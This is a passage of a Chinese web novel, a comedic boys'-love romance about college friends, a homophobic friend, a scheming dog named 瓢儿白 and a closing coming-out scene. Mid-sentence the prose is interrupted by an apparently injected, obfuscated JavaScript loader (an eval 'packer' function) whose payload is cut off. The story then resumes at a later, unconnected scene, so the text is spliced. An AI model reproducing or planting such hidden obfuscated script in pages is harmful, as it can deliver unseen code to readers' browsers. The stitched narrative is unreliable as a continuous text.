【凌柏尧:初夏,给我发1000块吧,我的车要加油了。】 谢定仪在群里给凌柏尧发了1000红包。 【谢定仪:要不我给你绑定一个亲密付?以后加油不用找我领生活费了,刷亲密付就行。】 本来只是一个很实在的提议,错就错在凌柏尧长了张嘴。 【凌柏尧:为什么要开亲密付?我们俩也不是什么很亲密的关系。】 白晓元那会儿刚打开微信,一上线看到聊天记录天都要塌了。 友情又要没了!剧情又要塌了啊! 【白晓元:凌哥你闭嘴啊啊啊啊啊!!再说我打死你啊啊啊啊。】 【凌柏尧:「皱眉」难道不是吗?亲密付难道不是情侣才开的吗?】 白晓元这才察觉到,凌柏尧这纯属恐同恐出问题了,连好兄弟都恐上了。 【白晓元:[愤怒]谁说的亲密付是情侣才开的啊,明明亲人朋友都可以开好吗?】 【凌柏尧:那初夏给我开一个?】 【谢定仪:不开了,麻烦。】 【谢定仪:等会儿我让我家管家把你的卡都给你送过去。】 【谢定仪:卡我没动过,你花的钱也不用给我了,都是发小,几十万没必要算得那么清。】 几十万的小钱钱是火辣辣的,谢定仪有的是钱,也不在乎这点小钱。 然而从他嘴里说出来却是冷冰冰的,说是发小,其实已经听不出来一点人情味了。 白晓元问霍世昕:“觉不觉得凌哥最近有点怪?” 霍世昕不以为意,继续玩游戏:“重度恐同是这样的。” 白晓元说:“那也得想个办法给他治治啊,恐同恐到连我们都要划清界限了,还老惹初夏哥生气,我也恐同啊,但我不至于恐到你们身上吧,他这都进化到恐男了。” 霍世昕敏捷地躲过了一个高级怪的攻击,随口说道:“我明天就约老大去游泳,就去体院那个游泳池,让他看看一池子只穿了紧身泳裤的半裸新鲜男大治治恐同。” 白晓元:“??” 你又想借机孔雀开屏呢? “别啊。”白晓元都要抓狂了,“你一个就已经要把凌哥逼疯了,别搞这种脱敏疗法啊!” “那我也没辙,给老大介绍女朋友他又说不喜欢。”霍世昕放下手柄,和白晓元面对面坐着,两人看着彼此,眼里都只剩下无语。 一个鬼鬼祟祟的狗头在沙发边冒出来,瓢儿白把下巴搁在沙发边用可怜巴巴小表情看着爸爸们试图讨点零食。 白晓元:“既然凌哥重度恐同恐男……” 霍世昕心有灵犀:“也不想要女朋友陪伴……” 两人同时看向瓢儿白,白晓元眼冒精光。 “那有且能治愈他的,就只有公公了!” 瓢儿白:“……” 不要提小狗的伤心事啦! 第二天,F4专属和平狗瓢儿白就又开始上岗打工了。 霍世昕在群里说他和白晓元今天有事,让凌柏尧和谢定仪带瓢儿白去洗澡,顺便帮他和白晓元看一天瓢儿白。 霍世昕本是想让凌柏尧治治恐同的毛病,顺便和谢定仪维护一下发小情,然而没想到,凌柏尧说他没空,带不了瓢儿白。 想来还是在同性恋治疗,哦不对,是同性恋相亲群里,被搞出了心理阴影,连公公都不能治愈他,谢定仪也驯服不了他了。 谢定仪倒是一点也不在意:“没关系,我来送瓢儿白去洗澡,我今天没课。” 霍世昕说;“老二你的车不是送去保养了吗?” 谢定仪说:“我让司机来学校接我。” 谢定仪家离A大有些距离,现在才上午九点,半个多小时前,司机才刚送完谢定仪离开,现在来回一趟又得一个多小时,霍世昕本来想说算了,凌柏尧却问。 “初夏你在学校?” 谢定仪说:“在。” 凌柏尧说:“开我的车去,我的车停软院楼下。" 谢定仪说:“行。” 两人在群里约了拿钥匙的方式,看起来好像并没有因为前几天的矛盾产生罅隙。 白晓元终于松了口气,心想慢慢来吧,恐同也不是一天两天能治好的,友情还在就好,别崩了,再崩他得崩溃了。 【白晓元:那我和霍世昕先出门了,瓢儿白一个人在家里,初夏哥你来了直接把它带去洗澡。】 【谢定仪:嗯。】 【白晓元:还有哦,千万别给瓢儿白买零食玩具了,它的玩具真的太多了。】 【谢定仪:行。】 回完微信后,谢定仪就离开实验室,去软院楼下取凌柏尧的大G。 两个学院离得有些远,谢定仪不想等校园车,便散步走了过去,凌柏尧的大G在软院楼下的停车场也很是惹眼,谢定仪一眼就看到了,正打算去后边车轮上拿车钥匙,却发现驾驶座的车门打开了。 “初夏。”凌柏尧下了车,拉开副驾的车门冲他招了下手,“这里。” “哦?”谢定仪挑眉,“原来你在啊。” “本来有点事,临时又取消了。”凌柏尧扶着车门让谢定仪上了车,又指了指杯架,“给你点了奶茶。” “谢了。” 一路无言。 凌柏尧一直想找机会和谢定仪聊天,但谢定仪明显不太想说话,喝了几口奶茶,便把奶茶杯放了回去,然后向后靠着颈枕闭目养神。 凌柏尧心里就有点忐忑了。 虽然是有意识的让自己和谢定仪保持距离,不作出太越界的基佬行为让对方反感,然而这段时间下来,随着谢定仪对他越来越冷淡的态度,凌柏尧终于发现,效果好像适得其反了。 他在心里把治疗哥骂了百八十遍,他本来就不知道面对谢定仪什么样的行为才是正确的、直男的交友行为,结果进了那个群遭受一番男同的洗礼,恐同越发严重,两下一搅合,情况直接失控了。 这段时间别说是哄着谢定仪了,哄他家的管家,谢妈,谢奶,甚至缸豆都没用,他就是进不了谢家的大门。 ——初夏肯定是生气了。 车驶过校园内的减速带,挂在挡风玻璃前的车挂晃了一下。 “初夏。”凌柏尧试图叫了他一声。 谢定仪:“嗯?” 凌柏尧说:“车挂的香味好像淡了。” 谢定仪说:“哦,我忘了给你买了。” 凌柏尧说:“那等会儿我们一起去买?顺便一起吃晚饭?” “网上买吧,一个价格,回头我把链接发给你。”谢定仪看向窗外,打了个哈欠,懒懒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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不过小狗的情绪来的快去的快,没一会儿就在玩具区开心地玩起来了。 玩具区有一整片宠物按钮,瓢儿白和好朋狗就在里面按着玩。 这片宠物按钮是宠物店老板给自家狗狗设置的,有基础的“吃饭”,“玩”,“握手”,还有“爸爸”,“妈妈”,“舅舅”,“姑姑”等称呼。 有的按钮瓢儿白学过,有些瓢儿白不懂,不过它也不管了,就在按钮上一通乱按。 突然,瓢儿白按下一个按钮,它突然发现,站在不远处逗猫的谢定仪回头看了它一眼。 鬼精鬼精的小鸡毛立刻发现了机会,爪子一扬,又按在了按钮上。 “舅妈——” 谢定仪又回头看了他一眼。 瓢儿白直觉有戏,立马又按了几下按钮,然后狂奔着跳过玩具区的围栏,跑到零食区,把爪子搭在冻干袋上,冲着不远处的谢定仪狂甩尾巴。 谢定仪:“……” “好吧,给你买。”谢定仪无奈地笑了笑,走过来,把那袋冻干从柜台上拿下来,“还要什么?” “汪汪!” 要零食!要小狗饼干!要玩具! 谢定仪说:“都买吧。” 瓢儿白立刻开启疯狂购物模式,最后结账时,玩具零食磨牙棒在收银台上堆起一座小山。 去接了个电话回来的凌柏尧,看着收银台都惊呆了。 “这是买了多少?” 谢定仪付了钱,让店员把零食玩具都装好:“没多少,就几千块。” 凌柏尧:“……” “还是你二舅有钱。”凌柏尧还没说完,就被瓢儿白一爪子踩在了脚上,还遭了了小鸡毛一记白眼。 ——什么二舅,那是它舅妈! 拥有了丰盛零食玩具的瓢儿白,是今天小区里最开心的狗狗。 一回到公寓小区,瓢儿白就叼着谢定仪给它买的超长磨牙棒,在小区里炫耀地跑来跑去。 被其他遛狗的姨姨伯伯们看到,都要打趣几句。 “瓢儿白又有新磨牙棒啦?” “这是谁给瓢儿白买的呀?” “汪汪!汪汪!” ——是舅妈!舅妈! 瓢儿白叼着磨牙棒朝身后的谢定仪看去,谢定仪被逗笑了。 “行了行了,最后一次了,以后别耍心眼,我可不认了,这个称呼你也该叫别人了。” 不明所以的凌柏尧在旁边问:“耍什么心眼?谁耍心眼?” “瓢儿白啊。”谢定仪转头看向他,这是他这些天里第一次对凌柏尧笑,明明不是爱笑的性格,但凌柏尧却很爱看谢定仪笑,他笑起来真的很动人。 凌柏尧突然觉得自己的心像是被什么柔软的东西触动了。 “凌柏尧,我有话对你说,你要认真听。” “嗯?” 凌柏尧还沉浸在谢定仪顾盼生姿的笑意里,此刻的他,谢定仪说什么都会听,想要什么,他都会答应。 他愿意奉上他所拥有的一切。 然而下一秒,凌柏尧却听到了根本没想到会从谢定仪那里听到的话语。 “我不是直男。”谢定仪转过头,笑着看向前方的瓢儿白,“嗯,没错,凌柏尧,我是喜欢男人的。”